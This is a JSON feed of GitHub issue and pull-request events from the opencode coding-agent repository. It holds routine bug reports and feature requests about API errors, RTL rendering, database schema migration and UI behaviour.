          "text": "### Description I was using opencode connected to DeepSeek V4 Flash Free on opencode zen, and most - *but not all*! - requests failed with an error, `Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential` This happened with version 1.18.3. I upgraded to 1.18.18, and it kept happening. I then connected to DeepSeek V4 Flash on my opencode **go** subscription, and the request immediately succeeded, and kept working. ### Plugins None ### OpenCode version 1.18.18 ### Steps to reproduce 1. Connect to opencode zen 2. Choose DeepSeek V4 Flash (Free) as the model 3. Ask some number of requests, most of them seem to be failing at the time of reporting. ### Screenshot and/or share link With DeepSeek V4 Flash Free on OpenCode Zen: <img width=\"1896\" height=\"1642\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bb2b2c90-7204-4f3b-a905-34dd47dcddbc\" /> With DeepSeek V4 Flash on OpenCode Go: <img width=\"1896\" height=\"1642\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ee91724e-6030-4604-a3e7-c53bfc1f5d7c\" /> ### Operating System Ubuntu 26.04 ### Terminal Ubuntu terminal",
          "url": "https://github.com/anomalyco/opencode/issues/42293",
          "createdAt": "2026-08-13T09:21:50Z",
          "updatedAt": "2026-08-13T12:50:52Z",
          "timestamp": "2026-08-13T12:50:52Z",
          "metrics": {
            "reactions": 0,
            "comments": 7
          },
          "labels": [],
          "author": "cbrunschen",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:210952ca51a277ad7b4a",
        "signalId": "github:anomalyco/opencode:pull_request:38345",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:38345",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(desktop): Improve keyboard navigation and add accept button in open project dialog",
          "text": "### Issue for this PR Closes #38338 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The Open Project dialog immediately resolved and closed when clicking a suggestion or pressing Enter, making it impossible to navigate into a subdirectory and continue. There was also no explicit confirm action. - Tab and Enter now navigate into the highlighted directory (appends `/` and refetches) instead of confirming - Clicking an item also navigates in rather than immediately opening the project - Added Cancel and Select Folder buttons the footer - Ctrl/Option+Enter or the button confirms the current path - Enter with no item highlighted confirms the current filter path directly ### How did you verify your code works? Tested locally: typed a partial path, navigated into suggestions with Enter and Tab, confirmed with the button and Ctrl+Enter. Verified backspace works normally in the input. ### Screenshots / recordings https://github.com/user-attachments/assets/44d73255-19ec-42f4-afc3-0e0e600e5a3f ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/38345",
          "createdAt": "2026-07-22T15:53:55Z",
          "updatedAt": "2026-08-13T12:49:19Z",
          "timestamp": "2026-08-13T12:49:19Z",
          "metrics": {
            "reactions": 1,
            "comments": 3
          },
          "labels": [],
          "author": "razzeee",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:caf0a685c3bf352483c6",
        "signalId": "github:anomalyco/opencode:issue:40286",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40286",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "RTL/bidi broken for mixed Arabic-script + Latin text in TUI",
          "text": "**Environment:** opencode 1.18.11, Windows, reproduced identically in both Windows Terminal and the desktop app. Any line containing both Persian/Arabic (RTL) and an embedded Latin word (LTR) renders in scrambled order instead of correct right-to-left. Pure single-direction lines render fine. The TUI appears to lay text out cell-by-cell in a monospace grid without applying the Unicode bidi algorithm, so directional runs within a line are not reordered correctly. Since this reproduces identically across terminals, it is the opencode renderer, not the terminal. Example: a Persian sentence containing an embedded Latin token (e.g. a filename or config key) renders with wrong character order wherever the Latin token sits mid-Persian. There is no config option for this (checked the config schema - no rtl/bidi/direction field). Please add proper Unicode bidi handling (and ideally RTL shaping) to the TUI text renderer.",
          "url": "https://github.com/anomalyco/opencode/issues/40286",
          "createdAt": "2026-08-03T13:07:38Z",
          "updatedAt": "2026-08-13T12:49:14Z",
          "timestamp": "2026-08-13T12:49:14Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "rahgozar94725",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:1429320c8421eed35c33",
        "signalId": "github:anomalyco/opencode:pull_request:42314",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42314",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: remove Ling 3.0 Tiny free model",
          "text": "## Summary - remove Ling-3.0-tiny Free from Zen model and pricing tables - remove its promotional availability and data-use notes across all localized Zen docs ## Verification - `bun run build` in `packages/web` - repository pre-push typecheck - `git diff --check`",
          "url": "https://github.com/anomalyco/opencode/pull/42314",
          "createdAt": "2026-08-13T12:44:17Z",
          "updatedAt": "2026-08-13T12:48:56Z",
          "timestamp": "2026-08-13T12:48:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "MrMushrooooom",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:6917ffa08bec790ce807",
        "signalId": "github:anomalyco/opencode:issue:42301",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42301",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "I cannot use my OpenCode Go subscription",
          "text": "I added my API key to OpenCode subscription, but I was still showed that Rate limit exceeded. Please try again later, asking me to subscribe to OpenCode Go. Fix this please",
          "url": "https://github.com/anomalyco/opencode/issues/42301",
          "createdAt": "2026-08-13T10:21:42Z",
          "updatedAt": "2026-08-13T12:47:44Z",
          "timestamp": "2026-08-13T12:47:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "MiaoJaiGei",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:bbb70c8613fa61bc3898",
        "signalId": "github:anomalyco/opencode:issue:42302",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42302",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Windows] Task list hangs and becomes unresponsive when interacting with todos",
          "text": "1. Description 在 Windows 上使用 OpenCode 时，待办任务（Todo/Task）列表经常卡住，无法进行任何变更操作，也不会推进到下一步。 2. Expected Behavior - 任务应能正常推进，从\"待办\"变为\"进行中\"再到\"已完成\" - 不应因任务数量或任务状态而卡住 如下图所示，此时开发计划已接近尾声，但还停留在错误的阶段。 <img width=\"1404\" height=\"548\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/27bb9adc-a3e7-4f9a-881a-24e526b887a2\" />",
          "url": "https://github.com/anomalyco/opencode/issues/42302",
          "createdAt": "2026-08-13T10:23:24Z",
          "updatedAt": "2026-08-13T12:47:42Z",
          "timestamp": "2026-08-13T12:47:42Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "AlanNiew",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:186d71fcf0353f41909d",
        "signalId": "github:anomalyco/opencode:issue:42305",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42305",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Refund Request – OpenCode Go Subscription",
          "text": "### Description Dear OpenCode Support Team, I’m writing to request a refund for my recent OpenCode Go subscription payment. I’m a student with a very limited budget, and after reviewing my finances, I realized that this subscription is more than I can reasonably afford at the moment. The payment has put some pressure on my available spending budget, so I would really appreciate it if you could make an exception and issue a refund for the recent subscription charge. I understand that refunds may be subject to your policies, but I kindly ask you to consider my situation and review this request manually. I’m not trying to misuse the service—I simply made a purchase that I now realize I cannot comfortably afford as a student. I would be very grateful if you could refund the recent charge and cancel the subscription so that I’m not charged again. Thank you very much for your time and consideration. I sincerely appreciate any help you can provide. Best regards, [zky6663p@gmail.com] ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42305",
          "createdAt": "2026-08-13T10:38:00Z",
          "updatedAt": "2026-08-13T12:47:39Z",
          "timestamp": "2026-08-13T12:47:39Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "jayden264",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:8039b2a6dfad5f0d7761",
        "signalId": "github:anomalyco/opencode:issue:31344",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:31344",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: RTL support for Arabic chat text",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request **OpenCode doesn't support RTL (Right-to-Left) text direction for Arabic or Persian.** When users write in Arabic, the chat display shows text incorrectly, making it hard to read and write. **Please** add RTL support for: - User messages in Persian/Arabic - AI responses containing Persian/Arabic text - Auto-detection of text direction This would help millions of developers in Middle East who use OpenCode daily.",
          "url": "https://github.com/anomalyco/opencode/issues/31344",
          "createdAt": "2026-06-08T10:08:10Z",
          "updatedAt": "2026-08-13T12:47:34Z",
          "timestamp": "2026-08-13T12:47:34Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "mohammad-ahw",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:0705e358fc425442c091",
        "signalId": "github:anomalyco/opencode:issue:31137",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:31137",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Web UI] \"Auto-accept permissions\" button is disabled when \"New layout and design\" is enabled.",
          "text": "### Description <img width=\"2112\" height=\"1247\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/7687cefd-2438-488c-b846-5a0fa49a01cc\" /> \"Auto-accept permissions\" button is disabled when \"New layout and design\" is enabled. The button works perfectly fine in the default (classic) layout. <img width=\"2085\" height=\"1242\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8dbc2fa4-048a-46e5-bc73-76bbee829f3f\" /> It appears that in the new layout, the settings page fails to associate with a specific project. As a result, the \"Auto-accept permissions\" button lacks the necessary project context and cannot identify which project it belongs to, causing it to malfunction. ### Plugins none ### OpenCode version 1.16.0 ### Steps to reproduce \"Auto-accept permissions\" button is disabled when \"New layout and design\" is enabled. The button works perfectly fine in the default (classic) layout. ### Screenshot and/or share link <img width=\"2112\" height=\"1247\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/7687cefd-2438-488c-b846-5a0fa49a01cc\" /> <img width=\"2085\" height=\"1242\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8dbc2fa4-048a-46e5-bc73-76bbee829f3f\" /> ### Operating System Windows 11 ### Terminal Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/31137",
          "createdAt": "2026-06-06T17:20:25Z",
          "updatedAt": "2026-08-13T12:43:41Z",
          "timestamp": "2026-08-13T12:43:41Z",
          "metrics": {
            "reactions": 6,
            "comments": 4
          },
          "labels": [],
          "author": "Billyism",
          "state": "open",
          "assignees": [
            "Brendonovich"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:2d565bff9cadff75d109",
        "signalId": "github:anomalyco/opencode:issue:42298",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42298",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Bug] Desktop TUI: \"Files changed\" (last round) panel always empty on Windows, file/patch parts never persisted",
          "text": "**Environment** - OpenCode Desktop 1.18.18 (reproduced on 1.16.2 too) - Windows 11 - Workspace root `C:\\LiteWorkSpace` is NOT a git repo (git repos live in subdirectories) **Symptom** The right-side panel has two sections: \"Changes this round\" and \"Git changes\". The Git section always renders correctly, but \"Changes this round\" has been empty forever, even after edit/write tools successfully modified files in the session. **Evidence** Querying `opencode db` (part table) shows: - `tool` parts are persisted normally (4622 rows, edit tool parts include filePath in input) - `file` parts: only 1 row ever (old session) - `patch` parts: only 7 rows, all from June 2026 in a different workspace - Recent edit calls (after upgrading to 1.18.18) still produce zero file/patch parts **Suspicion** Likely related to #41399 (session file tracking for the same panel): the workspace root not being a git repo may break the file/patch persistence path. Most users run OpenCode inside a git repo root, which would explain why this is not widely reported",
          "url": "https://github.com/anomalyco/opencode/issues/42298",
          "createdAt": "2026-08-13T10:03:43Z",
          "updatedAt": "2026-08-13T12:40:04Z",
          "timestamp": "2026-08-13T12:40:04Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "eytazy1hae",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:56da542d21dd56047c24",
        "signalId": "github:anomalyco/opencode:issue:42135",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42135",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "deepseek-v4-pro on opencode-go /responses fails on any multi-turn request (flash & official API both work)",
          "text": "Env: Windows 11, Codex with `wire_api = responses` via cc-switch → `https://opencode.ai/zen/go/v1`, model `deepseek-v4-pro`. I retried right after the 0813 model update and the problem is still there. **What happens**: First turn in a fresh conversation is fine. From the second turn on, as soon as the request includes the previous assistant reply, it returns 400. **Errors I've seen** (two variants): ``` Error from provider (Console Go): Upstream request failed: [invalid_request_error] Invalid assistant message: content or tool_calls must be set ``` and earlier: ``` Failed to deserialize the JSON body into the target type: messages[4]: missing field `id` at line 1 column ... ``` Same request with `deepseek-v4-flash` returns 200, and going straight to the official DeepSeek API (`api.deepseek.com/v1/responses`) also returns 200. So it looks like Console Go's conversion from Responses to its internal messages format doesn't handle pro's assistant message history properly. **Minimal repro** (same body, pro → 400 / flash → 200): ```bash curl -s https://opencode.ai/zen/go/v1/responses \\ -H \"Authorization: Bearer $KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{ \"model\": \"deepseek-v4-pro\", \"input\": [ {\"type\":\"message\",\"role\":\"user\",\"content\":[{\"type\":\"input_text\",\"text\":\"hi\"}]}, {\"type\":\"message\",\"role\":\"assistant\",\"content\":[{\"type\":\"output_text\",\"text\":\"hello\"}]}, {\"type\":\"message\",\"role\":\"user\",\"content\":[{\"type\":\"input_text\",\"text\":\"how are you?\"}]} ] }' ``` Swap `model` to `deepseek-v4-flash` with the exact same body and it returns 200. This seems related to #42090, #42091 and #36354 — Console Go validates pro's message/tool format stricter than flash and rejects the standard Codex format. Would be great if this could be fixed, or if pro's /responses could be routed to the native upstream the way flash was.",
          "url": "https://github.com/anomalyco/opencode/issues/42135",
          "createdAt": "2026-08-12T20:03:51Z",
          "updatedAt": "2026-08-13T12:30:10Z",
          "timestamp": "2026-08-13T12:30:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 6
          },
          "labels": [],
          "author": "JINGMINGRUO",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:57195f98f2c51ff28c42",
        "signalId": "github:anomalyco/opencode:issue:42090",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42090",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[OpenCode Go] deepseek-v4-pro via Responses API: 400 tools[N].function missing field 'name' (web_search tool rejected)",
          "text": "### Summary `deepseek-v4-pro` via OpenCode Go (`https://opencode.ai/zen/go/v1`, Responses API) returns HTTP 400 from Codex: ``` Error from provider (Console Go): Upstream request failed: [invalid_request_error] Failed to deserialize the JSON body into the target type: tools[8].function: missing field `name` ``` The same setup works with `deepseek-v4-flash`, and works with `deepseek-v4-pro` when using the DeepSeek official API directly. ### Environment - Client: OpenAI Codex CLI 0.147.0 (`wire_api = responses`) - Provider base URL: `https://opencode.ai/zen/go/v1` - Model: `deepseek-v4-pro` - Reasoning effort: high / max ### Root cause (confirmed by capturing the actual request) I captured the exact request body sent by Codex through a local proxy. `tools[8]` is: ```json {\"type\": \"web_search\", \"external_web_access\": {...}} ``` Per the OpenAI Responses API spec, a `web_search` tool is a non-function tool and has **no `name` field**. The Console Go upstream appears to parse every tool as a function tool and requires `function.name`, hence: ``` tools[8].function: missing field `name` ``` This is the same root cause described in PR #40210 (\"toOaCompatibleRequest mapped every tool into {\"type\":\"function\",\"function\":{...}}, producing an undefined name that upstream serde rejects ... 400ing the whole request\"). It seems that fix is not yet effective on the `/v1/responses` path for `deepseek-v4-pro` (tested 2026-08-13, still 400). ### Expected behavior Non-function tools such as `web_search` should either be accepted as-is (with no `function.name` requirement) or filtered out when converting to the upstream chat-completions format, while function tools keep their nested `function.name` (as PR #40210 states). ### Repro 1. Configure Codex with `model = \"deepseek-v4-pro\"`, `base_url = \"https://opencode.ai/zen/go/v1\"`, `wire_api = \"responses\"`. 2. Run any tool-enabled request (e.g. `codex exec \"Reply OK\"`). 3. Observe the 400 above. Flash model on the same config succeeds. ### Related - #24224, #24344, #27047, #34331 - PR #40210",
          "url": "https://github.com/anomalyco/opencode/issues/42090",
          "createdAt": "2026-08-12T17:10:41Z",
          "updatedAt": "2026-08-13T12:30:07Z",
          "timestamp": "2026-08-13T12:30:07Z",
          "metrics": {
            "reactions": 1,
            "comments": 5
          },
          "labels": [],
          "author": "Seegin",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:67408a3fa79376eedcf0",
        "signalId": "github:anomalyco/opencode:issue:4821",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:4821",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Add ability to unqueue messages",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Right now If I queue message there is no way to \"unqueue\" it. Sometimes I overcorrect the agent and It invents the fix simualteniously with me so I end up wasting its attention by parroting the solution. I want to be able unqueue the message. e.g. by clicking on it",
          "url": "https://github.com/anomalyco/opencode/issues/4821",
          "createdAt": "2025-11-27T10:10:10Z",
          "updatedAt": "2026-08-13T12:24:45Z",
          "timestamp": "2026-08-13T12:24:45Z",
          "metrics": {
            "reactions": 98,
            "comments": 23
          },
          "labels": [],
          "author": "Mishkun",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f0ca4db9611075851c0d",
        "signalId": "github:anomalyco/opencode:issue:42288",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42288",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:对大模型的主动联网行为进行控制",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request 有时候，在使用agent完成任务时，我们不希望大模型有联网行为，虽然联网行为会得到更多的信息，但是这些信息可能是错误的或者不必要的。希望可以添加对大模型主动联网行为的控制，包括联网搜索抓取信息、从网络下载软件等综合行为，api连接等软件必须行为除外。在桌面版本的opencode下，我建议在输入框下和大模型的选择排在一起，添加按钮，简洁方便。",
          "url": "https://github.com/anomalyco/opencode/issues/42288",
          "createdAt": "2026-08-13T09:07:34Z",
          "updatedAt": "2026-08-13T12:21:41Z",
          "timestamp": "2026-08-13T12:21:41Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "Qkk77",
          "state": "open",
          "assignees": [
            "neriousy"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c7fbac92646a6f966a21",
        "signalId": "github:anomalyco/opencode:issue:42260",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42260",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode2 mutates shared V1 database and breaks opencode 1.x coexistence",
          "text": "## Summary this is almost entirely a Sol generated ticket. Not this line. It's not very good at capturing human pain. opencode2 migrated the database schema, and now in opencode the /move command is broken, I have a session trapped in a worktree. - /move fails because session_context_epoch is missing. - Workspace loading fails because workspace.project_id is missing. - The database is ~/.local/share/opencode/opencode.db (2.3 GB). - SQLite reports integrity_check: ok; this is schema drift, not file corruption. `opencode2` and stable `opencode` use the same default SQLite database, `~/.local/share/opencode/opencode.db`. Starting `opencode2` applies an incompatible V2 schema to that file. Stable `opencode` 1.x then fails in normal UI paths, including `/move`. The two executables have distinct names and are expected to be runnable side by side, but the V2 preview currently has no default data/database isolation and silently breaks the stable installation's database contract. This is related to #38471, but the trigger here is the separately named `opencode2` preview executable migrating the stable CLI's database, rather than Desktop auto-updating while an older CLI remains on PATH. ## Environment - Stable CLI: `opencode 1.18.18` - Preview CLI/service: `opencode2 v0.0.0-next-17403` - The service registration showed the active background service started on `0.0.0-next-17379` and then updated to `next-17403` - OS: Linux `7.0.14-wqfix` x86_64 - Shared database: `~/.local/share/opencode/opencode.db` ## Steps to reproduce 1. Install and use stable `opencode` 1.18.18 so it has existing sessions in: ```text ~/.local/share/opencode/opencode.db ``` 2. Install/start `opencode2` using its default paths. Its detached service opens the same database and performs V1/V2 migration work. 3. Start stable OpenCode with diagnostics: ```bash opencode --print-logs --log-level DEBUG -c ``` 4. In stable OpenCode, move the active session to another existing worktree: ```text /move /path/to/another/worktree ``` 5. Observe the TUI popup: ```text Unexpected server error. Check server logs for details. ``` ## Actual result Stable `opencode` fails because the shared database now has the V2 schema. The `/move` failure is: ```text SQLiteError: no such table: session_context_epoch at SessionContextEpoch.reset at MoveSession.moveSession at ControlPlaneHttpApi.moveSession ``` Startup/listing also fails with: ```text SQLiteError: no such column: workspace.project_id at Workspace.list ``` Read-only schema inspection after `opencode2` ran showed: ```sql PRAGMA table_info(workspace); ``` returned only: ```text id, provider, binding, created_at, last_used_at ``` and `session_context_epoch` no longer existed. Those are consistent with the V2 schema but incompatible with `opencode 1.18.18`. ## Expected result `opencode2` should not mutate the stable CLI's database by default. The separately named preview executable should use an isolated data/state namespace, for example: ```text ~/.local/share/opencode2/ ~/.local/state/opencode2/ ~/.cache/opencode2/ ~/.config/opencode2/ ``` or at minimum a separately named database and service registration. If sharing/migrating the stable database is intentional, `opencode2` should require explicit opt-in, preserve a compatible copy, or block with a clear warning that stable `opencode` will no longer be usable against that database. ## Impact - Stable `opencode` is broken after running the V2 preview. - Existing session history is placed at risk because deleting/recreating the DB loses it. - Running both binaries concurrently can leave processes with incompatible code operating on the same database. - The generic TUI error hides that `opencode2` changed the schema. ## Workaround Launching every `opencode2` command and its background service with a separate XDG profile avoids further collisions: ```bash export XDG_DATA_HOME=\"$HOME/.local/opencode2-profile/data\" export XDG_STATE_HOME=\"$HOME/.local/opencode2-profile/state\" export XDG_CACHE_HOME=\"$HOME/.local/opencode2-profile/cache\" export XDG_CONFIG_HOME=\"$HOME/.local/opencode2-profile/config\" ``` This prevents future collisions but does not repair the already-migrated stable database. Restoring stable operation requires a pre-collision backup or a controlled export/import recovery; manually combining the schemas is unsafe.",
          "url": "https://github.com/anomalyco/opencode/issues/42260",
          "createdAt": "2026-08-13T06:57:18Z",
          "updatedAt": "2026-08-13T12:19:56Z",
          "timestamp": "2026-08-13T12:19:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "2.0"
          ],
          "author": "timrichardson",
          "state": "open",
          "assignees": [
            "neriousy"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:52bda7e97919316b38f7",
        "signalId": "github:anomalyco/opencode:issue:42238",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42238",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode run --format json emits auto-compaction internals as ordinary text events",
          "text": "## Summary When automatic compaction occurs, `opencode run --format json --thinking --auto` emits internal compaction output as normal `type: \"text\"` JSONL events. This includes the compaction assistant summary and, in some cases, the synthetic user continuation prompt. JSONL consumers cannot distinguish these from user-visible assistant output. ## Reproduction 1. Create or resume a session close enough to the model context limit to trigger automatic compaction. 2. Run: ```sh opencode run --format json --thinking --auto --session <session-id> ``` 3. Capture stdout JSONL. 4. After compaction, observe normal text events containing the compaction summary and possibly: ```text Continue if you have next steps, or stop and ask for clarification if you are unsure how to proceed. ``` ## Expected behavior Ordinary `text` events should contain only final, user-visible assistant output. Internal compaction content should either be omitted, emitted as a distinct control/compaction event, or include enough owner-message metadata (`role`, `summary`, `mode`, `agent`) for consumers to filter it safely. In particular, synthetic user content must not be emitted as visible assistant text. ## Actual behavior The JSON runner outputs completed text parts based on `part.type === \"text\"` and `part.time.end`, without checking the owner message. Consequently, these internal parts are emitted as normal text, for example: ```json {\"type\":\"text\",\"part\":{\"type\":\"text\",\"text\":\"<internal compaction summary>\"}} {\"type\":\"text\",\"part\":{\"type\":\"text\",\"text\":\"Continue if you have next steps, or stop and ask for clarification if you are unsure how to proceed.\",\"synthetic\":true,\"metadata\":{\"compaction_continue\":true}}} ``` This can expose compaction summaries that include serialized history, tool-call/tool-result transcripts, or other internal content. One downstream integration observed an erroneous 73,227-character assistant message containing 26 tool calls and 27 tool results. ## Root-cause evidence - `session/compaction.ts` creates a compaction assistant message marked `mode: \"compaction\"`, `agent: \"compaction\"`, and `summary: true`. - Its summary is persisted as an otherwise ordinary text part and is published to the live event stream. - `cli/cmd/run.ts` subscribes to that stream and emits completed text parts without inspecting their owner message. - After successful automatic compaction, the synthetic continuation user message can also be published; the same missing role/owner filtering allows it to be emitted as `text`. Filtering only `part.synthetic` would not fully fix this: compaction-summary text parts themselves do not carry that flag. ## Environment - OpenCode repository: current `dev` branch as of 2026-08-13 - Command: `opencode run --format json --thinking --auto [--session <id>]` - Plugins: none required - OS: any (non-interactive JSON runner behavior) A regression test could publish a completed compaction-summary assistant text part and a synthetic continuation user text part to the runner event loop, then assert neither is emitted as a normal `text` event.",
          "url": "https://github.com/anomalyco/opencode/issues/42238",
          "createdAt": "2026-08-13T04:07:37Z",
          "updatedAt": "2026-08-13T12:19:25Z",
          "timestamp": "2026-08-13T12:19:25Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "AmAzing129",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:0f3b8f3265d9243b65ff",
        "signalId": "github:anomalyco/opencode:issue:42300",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42300",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Bug] v1 path drops variant body fields (e.g. \\reasoning_split`) for @ai-sdk/openai-compatible provider`",
          "text": "### Description ## Summary When using a custom `@ai-sdk/openai-compatible` provider with a model that has body-level options in its variant (e.g. `reasoning_split`), opencode's v1 path silently drops those fields from the actual HTTP request. The body schema constructed by `streamText` is missing fields that the user's variant config clearly defines. Verified by reverse engineering the 1.18.16 binary and by direct comparison with the AI SDK working correctly when given the same `providerOptions` shape. ## Environment - opencode version: `1.18.16` (binary) - opencode path: **v1** (default; not the opt-in `OPENCODE_EXPERIMENTAL_NATIVE_LLM` native runtime) - Provider: custom `@ai-sdk/openai-compatible` named `minimax-openai` pointing at `https://api.minimaxi.com/v1` - Model: `MiniMax-M3` (used as a representative; the bug is provider-agnostic, not MiniMax-specific) - Endpoint: `POST /v1/chat/completions` ## Config that triggers the bug ```json { \"provider\": { \"minimax-openai\": { \"npm\": \"@ai-sdk/openai-compatible\", \"name\": \"MiniMax\", \"api\": \"https://api.minimaxi.com/v1\", \"options\": { \"baseURL\": \"https://api.minimaxi.com/v1\", \"apiKey\": \"{env:MiniMax_API_KEY}\" }, \"models\": { \"MiniMax-M3\": { \"name\": \"MiniMax-M3\", 